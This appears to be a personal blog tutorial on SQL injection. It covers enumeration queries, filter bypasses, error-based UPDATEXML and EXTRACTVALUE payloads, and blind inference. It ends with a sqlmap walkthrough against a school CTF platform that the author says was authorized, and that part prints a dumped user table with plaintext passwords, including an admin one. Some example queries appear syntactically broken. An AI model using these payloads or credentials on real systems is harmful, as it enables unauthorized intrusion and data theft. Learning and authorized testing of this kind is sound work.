SQLi

2023-10-20 3236 words 16 minutes

Contents

SQL injection is the placement of malicious code in SQL statements, via web page input. This can allow an attacker to view data that they are not normally able to retrieve.

SQL injection can occur in:

GET parameters
POST data
Cookies
Search fields
Certain fields in the HTTP request headers

And so on, and so forth. As long as the request involves querying a backend database, there is a potential for SQL injection.

0 Basic Knowledge

0.1 Comments in SQL Statements

SQL Server / Oracle
-- text /*text*/
MySQL
-- text /*text*/ # text

1 Basic Steps

Identifying Injection Points
- Numeric Injection
  - 1+1 behaves the same as 2
  - 1a behaves the same as 1
- String Injection
Understanding Website Behavior
Sending Enumeration Queries
Summarizing WAF Behavior and Bypassing
Dumping the Database

1.1 Determining the Number of Columns in the Current Table

Using order by
' order by X When the server returns an error for the query, it means X exceeds the number of columns in the current table.
Using union
union select null, null, ... When the server returns an error for the query, it means the number of payloads exceeds the number of columns in the current table.
For Oracle, you can use: ' UNION SELECT NULL FROM DUAL

1.2 Determining the Database Version

1.2.1 Using `select` for Direct Query

Database Type	Query Statement
Microsoft, MySQL	`SELECT @@version`
Oracle	`SELECT * FROM v$version`
PostgreSQL	`SELECT version()`

1.2.2 Testing

Original URL: http://www.victim.com/displayeruser?user=Bob
MySQL doesn’t throw an error: http://www.victim.com/displayeruser?user=Bo' 'b
SQL Server doesn’t throw an error: http://www.victim.com/displayeruser?user=Bo'+'b
Oracle doesn’t throw an error: http://www.victim.com/displayeruser?user=Bo' || 'b

1.3 Viewing All Table Names in the Database

information_schema is a metadata information repository in a database system that contains information about various elements and objects in the database. This database exists in most modern relational database management systems, including MySQL, PostgreSQL, SQLite, SQL Server, and others. information_schema contains tables such as:
TABLES Table: This table contains information about each table in the database, such as table name, table engine, number of rows, creation time, and more.
COLUMNS Table: The COLUMNS table contains information about the columns in each table in the database, including column names, data types, default values, and whether they are primary keys.
STATISTICS Table: This table stores index statistics information for tables, such as index names, index types, and column names.
KEY_COLUMN_USAGE Table: This table contains information about keys in tables, including primary and foreign keys.
VIEWS Table: The VIEWS table stores information about views in the database, including view names and view definitions.
ROUTINES Table: This table contains information about stored procedures and functions in the database, including names, types, and definitions.
USER_PRIVILEGES Table: This table contains information about user and role permissions, including granted permissions and object names.
SCHEMATA Table: The SCHEMATA table contains information about database schemas, such as schema names and default character sets.

Non-Oracle: Use information_schema.tables
If using a table with 2 columns for a union query, you can use:
```
select table_name, null from information_schema.tables
```
If information_schema related fields are blocked
- sys.schema_auto_increment_columns
  It is used to monitor auto-incremented IDs in tables. When designing tables, auto-increment is often set for certain fields, and schema_auto_increment_columns stores database-related information about tables with auto-increment fields.
```
select table_schema from sys.schema_auto_increment_columns;

select table_name from sys.schema_auto_increment_columns where table_schema='foo';
```
  “Schema” refers to a namespace within a database used to organize and manage database objects, such as tables, views, stored procedures, functions, and more. A database can contain multiple different schemas, and each schema can contain a set of related tables and other objects.
- schema_table_statistics_with_buffer and x$schema_table_statistics_with_buffer
Oracle: Use all_tables
```
SELECT * FROM all_tables
```

1.4 Viewing All Column Names of a Table

Non-Oracle: Use information_schema.columns

select column_name from information_schema.columns where table_name = X

Oracle: Use all_tab_columns

SELECT * FROM all_tab_columns WHERE table_name = X

2 What to Do If Characters Are Filtered?

If (Space) is filtered, you can use:

Rewrite statements using ()

select count(uid) from users where school = 'HEU' and select column_name from substring(database(), 1, 1)='a';

Can be written as:

select(count(uid))from(users)where((school='HEU')and(select(column_name)from(substring(database(),1,1)='a')));

Use /**/

select count(uid) from users where school = 'HEU' and select column_name from substring(database(), 1, 1)='a';

Can be written as:

select/**/count(uid)/**/from/**/users/**/where/**/school='HEU'/**/and/**/select/**/column_name/**/from/**/substring(database(), 1, 1)='a';

Use %0a, %0b, %0c, %0d, %09, %a0

If = is filtered, you can use like
LIKE is an operator used to perform fuzzy searches in text fields. It allows you to search for text data that matches a specified pattern (or wildcard).
- %: Matches any sequence of characters, including an empty string. For example, 'a%' matches any text starting with the letter ‘a’.
```
SELECT * FROM employees WHERE first_name LIKE 'John%';
```
- _: Matches any single character. For example, 'a_' matches text starting with ‘a’ and at least two characters.
```
SELECT * FROM employees WHERE last_name LIKE 'Sm_th';
```

3 Error-Based Injection

3.1 `CONCAT`

In SQL, CONCAT is a function used to concatenate two or more strings together. It takes multiple parameters, each of which is a string to be concatenated. The CONCAT function concatenates these strings in the order of the parameters and returns a new string.

3.2 `GROUP_CONCAT`

In SQL, GROUP_CONCAT is used to combine multiple values from different rows into a single string, often used in conjunction with a GROUP BY clause (though it can be used without it).

select group_concat(table_name) from information_schema.tables;

3.3 `UPDATEXML`

UPDATEXML is an XML processing function in MySQL used to update XML data.

UPDATEXML(xml_target, xpath_expr, new_value);

xml_target is the XML data column or XML document to update (document object name).
xpath_expr is an XPath expression that locates the XML element or attribute to be updated (document path).
new_value is the new XML value to replace the selected XML element or attribute.

When using UPDATEXML, if the xpath_expr format is incorrect, it will result in an XPath syntax error.

Example payload using UPDATEXML for error-based injection:

1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1); #

3.4 `EXTRACTVALUE`

EXTRACTVALUE function is typically used with XML data to extract specific values from an XML document.

EXTRACTVALUE(xml_document, xpath_expression)

xml_document is the column or expression containing the XML data.
xpath_expression specifies the location of the XML data to be extracted.

When using EXTRACTVALUE, if the xpath_expr format is incorrect, it will result in an XPath syntax error.

Example payload using EXTRACTVALUE for error-based injection:

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('myDatabase'))));#

3.5 `RIGHT`

RIGHT is used to extract a specified number of characters from the right side of a string. Because the return value of EXTRACTVALUE has a length limit, RIGHT can be used to display parts of the string beyond the length limit.

RIGHT(string, length)

string is the string from which to extract characters.
length is the number of characters to extract from the right side.

The RIGHT function returns a substring of the specified number of characters from the right side of the string. If length is greater than the actual length of the string, it will return the entire string.

SELECT RIGHT('Hello, World', 5);
-- "World"

Bad Development Practice: Failing to properly handle dynamic SQL and instead displaying a generic error page in response to database exceptions.

Blind SQL injection can be time-consuming. Once you understand its principles, it’s recommended to use tools to enhance the efficiency of SQLi, such as SQLMap.

4.1 Inference Techniques

4.1.1 `substring`

If the original query statement looks like this:

select count(uid) from users where school = '[INPUT]';

When [INPUT] is a normal string, like HEU, it will return the expected result. However, when the payload is HEU' and '1'='2, the query statement becomes:

select count(uid) from users where school = 'HEU' and '1'='2';

The where clause will return an empty result set because '1'='2' is a constant false expression. At this point, the server returns a generic error.

With a slight modification, you can create a conditional statement that is sometimes true and sometimes false, such as: HEU' and select column_name from substring(database(), 1, 1)='a.

Injected into the query statement, it becomes:

select count(uid) from users where school = 'HEU' and select column_name from substring(database(), 1, 1)='a';

If the first character of the current MySQL database name is a, it won’t throw an error; otherwise, it will throw an error. This way, you can incrementally infer database names, table names, column names, and database information.

To determine the length of a value, you can use len().

The drawback of this method is that it’s slow.

4.1.2 Bitwise Comparison: `ascii()`

ascii() returns the numeric value of the leftmost character of the string str. It returns 0 if str is an empty string and NULL if str is NULL.

For each character, we can use a binary comparison approach to pinpoint the first character of the current database, which is ’s.’

select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>127; --False
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>63; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>95; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>111; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>119; --False
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>115; --False
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>113; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))>114; --True

4.1.3 An Alternative Implementation for Bitwise Comparison

We can also use a bitwise AND approach to confirm each bit of every byte.

select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&127=127; --False
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&64=64; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&32=32; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&16=16; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&8=8; --False
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&4=4; --False
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&2=2; --True
select count(uid) from users where school = 'HEU' and select column_name from ascii(substring(database(), 1, 1))&1=1; --True

This way, we obtain the first byte of the database() return value as 01110011. Looking it up in the ASCII table, we find it corresponds to s.

When error messages are too simple and lack valuable information, you can consider using time-based SQL injection.

sleep(duration) sleeps (pauses) for the number of seconds specified in the duration argument, and then returns 0. The duration can include a fractional part. If the argument is NULL or negative, it will produce a warning or an error in strict SQL mode.

4.3 A Practical Example of SQL Injection

Today (October 16, 2023), after getting authorization from the server administrator, I conducted a penetration test on a self-built CTF competition platform at my school. And here is the record that everything I’ve done.

4.3.0 Information Gathering

Upon accessing the login page, I observed the following:

The platform has three user roles, each with different permissions.
The platform is built using PHP. :)

By examining the source code in the browser’s developer mode, I discovered that the CAPTCHA is generated and validated on the front-end. This provided valuable insight for conducting penetration testing on the authentication interface.

// CAPTCHA
function change() {
    code = $("#code");
    // CAPTCHA character library
    var arrays = new Array(
        '1', '2', '3', '4', '5', '6', '7', '8', '9', '0',
        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
        'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
        'u', 'v', 'w', 'x', 'y', 'z',
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
        'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T

',
        'U', 'V', 'W', 'X', 'Y', 'Z'
    );
    codes = ''; // Reinitialize the CAPTCHA
    for (var i = 0; i < 4; i++) {
        // Randomly select an array index
        var r = parseInt(Math.random() * arrays.length);
        codes += arrays[r];
    }
    // Add the CAPTCHA to the input field
    code.val(codes);
}

I attempted to log in with a random username and password and observed the HTTP POST request.

POST /ctf/login1.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 20
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: ***.***.**.**:11080
Origin: http://***.***.**.**:11080
Referer: http://***.***.**.**:11080/ctf/login.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

name=1&nuse=2&role=3

In the HTTP body, name and nuse correspond to the user’s username and password, while role corresponds to the user’s role. After testing, I found that role=3 corresponds to an observer, role=2 corresponds to a participant, and role=1 corresponds to a superuser.

I examined the response to the login request.

HTTP/1.1 200 OK
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 30
Connection: close
Content-Type: text/html; charset=UTF-8

{"code":0,"msg":"error"}

Regardless of whether the authentication succeeds or fails, the server always returns a 200 OK status (which again, is a bad design, totally abandoned HTTP status code). When authentication fails, the server returns {"code":0,"msg":"error"}, and there is no indication of login failure in the frontend, no page redirection, and no updates to the HTTP DOM elements. Using a few payloads to test for SQL injection vulnerabilities, it became apparent that even if an SQL injection vulnerability existed, it was blind with no direct response. Don’t give up; let’s consider blind SQL injection.

4.3.1.1 Identifying the Injection Point

First, I used SQLMap to test for possible injection points. I used --method to specify the request method and --data to specify the request body. When specifying data, SQLMap automatically assumes an HTTP POST request.

$ sqlmap -u http://***.***.**.**:11080/ctf/login1.php --method POST --data="name=a&nuse=12345&role=2"

After a short wait, it was evident that all three parameters were vulnerable to SQL injection. Time-based blind SQL injection was also detected.

[19:59:24] [INFO] testing connection to the target URL
sqlmap identified the following injection point(s) with a total of 221 HTTP(s) requests:
---
Parameter: role (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=a&nuse=12345&role=2' AND (SELECT 1759 FROM (SELECT(SLEEP(5)))bwmO) AND 'KgWg'='KgWg

Parameter: name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=a' AND (SELECT 7192 FROM (SELECT(SLEEP(5)))Jjvo) AND 'UJWE'='UJWE&nuse=12345&role=2

Parameter: nuse (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=a&nuse=12345' AND (SELECT 4889 FROM (SELECT(SLEEP(5)))uwpB) AND 'rbOT'='rbOT&role=2
---
[19:59:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7
web application technology: Apache 2.4.6, PHP 5.4.16
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Let’s take a look at the time-based blind injection payloads.

name=a&nuse=12345&role=2' AND (SELECT 1759 FROM (SELECT(SLEEP(5)))bwmO) AND 'KgWg'='KgWg

We can see that the SQL statements on the server are enclosed with ', indicating a character-based injection. SQLMap nestles delay functions like sleep() in the from subquery to delay the server’s response.

4.3.1.2 Identifying the Database Name

I used -current-db to obtain the name of the currently used database.

$ sqlmap -u http://***.***.**.**:11080/ctf/login1.php --method POST --data="name=a&nuse=12345&role=2" --current-db

The result was quickly obtained.

[20:11:05] [INFO] adjusting time delay to 1 second due to good response times
cloud
current database: 'cloud'

We can also use --dbs to enumerate all database names.

4.3.1.3 Identifying Database Users, Passwords, and Privileges

I used --users, --passwords, and --privileges to enumerate database users, passwords, and privileges.

$ sqlmap -u http://***.***.**.**:11080/ctf/login1.php --method POST --data="name=a&nuse=12345&role=2" --users --passwords --privileges

[21:12:56] [INFO] retrieved: 'my'@'localhost'
database management system users [1]:
[*] 'my'@'localhost'
[21:12:56] [WARNING] unable to retrieve the number of password hashes for user 'my'
[21:12:56] [ERROR] unable to retrieve the password hashes for the database users
[21:13:03] [INFO] retrieved: USAGE
database management system users privileges:
[*] %my% [

1]:
    privilege: USAGE

4.3.1.4 Identifying Tables

I used -D to specify a database and used --tables to retrieve the table names from the database. Using --dump would allow me to dump this information.

$ sqlmap -u http://***.***.**.**:11080/ctf/login1.php --method POST --data="name=a&nuse=12345&role=2" --dump -D cloud  --threads 10 --tables

After some time, I obtained all the tables in that database.

Database: cloud
[34 tables]
+----------------------+
| Cmp                  |
| Cmp_model            |
| Cmp_novnc            |
| Ocmp                 |
| Pcmp                 |
| Score                |
| Team                 |
| TeamJoin             |
| User                 |
| user                 |
| business             |
| business_list        |
| course_table         |
| course_table2        |
| ctf_num_table        |
| ctf_num_table1       |
| device_list          |
| device_table         |
| instance_table       |
| mapping_table        |
| mapping_table2       |
| network_table        |
| network_table1       |
| num_table            |
| progress_table2      |
| scene_describe_table |
| scene_num_table      |
| scene_state_table    |
| scene_table          |
| score_table2         |
| student_list         |
| system_log           |
| user_log             |
| work_table2          |
+----------------------+

4.3.1.5 Identifying Columns

I used -T to specify a table and used --columns to retrieve the column names in the database.

$ sqlmap -u http://***.***.**.**:11080/ctf/login1.php --method POST --data="name=a&nuse=12345&role=2" -D cloud -T User --columns

SQLMap retrieved the column names and their corresponding data types.

[20:27:43] [INFO] retrieved: U_ID
[20:27:58] [INFO] retrieved: varchar(255)
[20:28:41] [INFO] retrieved: U_PASS
[20:29:05] [INFO] retrieved: varchar(255)
[20:29:48] [INFO] retrieved: U_ROLE
[20:30:12] [INFO] retrieved: varchar(255)
Database: cloud
Table: User
[3 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| U_ID   | varchar(255) |
| U_PASS | varchar(255) |
| U_ROLE | varchar(255) |
+--------+--------------+

4.3.1.6 Retrieving Everything

We can use -D and -T to retrieve all the data from a specific table. If you don’t add --dump, it will print the contents of the table directly.

If you find the time-based SQL injection to be too slow, you can use --threads to enable multi-threading. For example: --threads 10

$ sqlmap -u http://***.***.**.**:11080/ctf/login1.php --method POST --data="name=a&nuse=12345&role=2" --dump -D cloud -T User

This command will dump the data from the “User” table:

Database: cloud
Table: User
[23 entries]
+-----------+----------------------+--------+
| U_ID      | U_PASS               | U_ROLE |
+-----------+----------------------+--------+
| admin     | voxjac-4xudwe-Rydpes | 2      |
| chrome    | 1234                 | 2      |
| chrome2   | 1234                 | 2      |
| ie        | 1234                 | 2      |
| microsoft | 1234                 | 2      |
| o1        | 1234                 | 2      |
| o10       | 1234                 | 2      |
| o11       | 1234                 | 2      |
| o12       | 1234                 | 2      |
| o2        | 1234                 | 2      |
| o3        | 1234                 | 2      |
| o4        | 1234                 | 2      |
| o5        | 1234                 | 2      |
| o6        | 1234                 | 2      |
| o7        | 1234                 | 2      |
| o8        | 1234                 | 2      |
| o9        | 1234                 | 2      |
| opera     | 1234                 | 2      |
| opera2    | 1234                 | 2      |
| opera3    | 1234                 | 2      |
| wxx       | 1234                 | 3      |
| wxx1      | 1234                 | 3      |
| wxxxx     | 1234                 | 3      |
+-----------+----------------------+--------+
[20:45:33] [INFO] table 'cloud.`User`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/***.***.**.**/dump/cloud/User.csv'
[20:45:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/***.***.**.**'
[*] ending @ 20:45:33 /2023-10-16/

END: It is no doubt that we can log in with these accounts. In fact, it turns out that there isn’t much valuable information on this website. So the whole story is just to demonstrate its poor design and practice using SQLMap. :)

Contents

SQLi

0 Basic Knowledge

0.1 Comments in SQL Statements

1 Basic Steps

1.1 Determining the Number of Columns in the Current Table

1.2 Determining the Database Version

1.2.1 Using `select` for Direct Query

1.2.2 Testing

1.3 Viewing All Table Names in the Database

1.4 Viewing All Column Names of a Table

2 What to Do If Characters Are Filtered?

3 Error-Based Injection

3.1 `CONCAT`

3.2 `GROUP_CONCAT`

3.3 `UPDATEXML`

3.4 `EXTRACTVALUE`

3.5 `RIGHT`

4 Blind SQL Injection

4.1 Inference Techniques

4.1.1 `substring`

4.1.2 Bitwise Comparison: `ascii()`

4.1.3 An Alternative Implementation for Bitwise Comparison

4.2 Time-Based Blind SQL Injection

4.3 A Practical Example of SQL Injection

4.3.0 Information Gathering

4.3.1 SQLMap and Time-Based Blind SQL Injection

4.3.1.1 Identifying the Injection Point

4.3.1.2 Identifying the Database Name

4.3.1.3 Identifying Database Users, Passwords, and Privileges

4.3.1.4 Identifying Tables

4.3.1.5 Identifying Columns

4.3.1.6 Retrieving Everything

Contents

SQLi

0 Basic Knowledge

0.1 Comments in SQL Statements

1 Basic Steps

1.1 Determining the Number of Columns in the Current Table

1.2 Determining the Database Version

1.2.1 Using select for Direct Query

1.2.2 Testing

1.3 Viewing All Table Names in the Database

1.4 Viewing All Column Names of a Table

2 What to Do If Characters Are Filtered?

3 Error-Based Injection

3.1 CONCAT

3.2 GROUP_CONCAT

3.3 UPDATEXML

3.4 EXTRACTVALUE

3.5 RIGHT

4 Blind SQL Injection

4.1 Inference Techniques

4.1.1 substring

4.1.2 Bitwise Comparison: ascii()

4.1.3 An Alternative Implementation for Bitwise Comparison

4.2 Time-Based Blind SQL Injection

4.3 A Practical Example of SQL Injection

4.3.0 Information Gathering

4.3.1 SQLMap and Time-Based Blind SQL Injection

4.3.1.1 Identifying the Injection Point

4.3.1.2 Identifying the Database Name

4.3.1.3 Identifying Database Users, Passwords, and Privileges

4.3.1.4 Identifying Tables

4.3.1.5 Identifying Columns

4.3.1.6 Retrieving Everything

1.2.1 Using `select` for Direct Query

3.1 `CONCAT`

3.2 `GROUP_CONCAT`

3.3 `UPDATEXML`

3.4 `EXTRACTVALUE`

3.5 `RIGHT`

4.1.1 `substring`

4.1.2 Bitwise Comparison: `ascii()`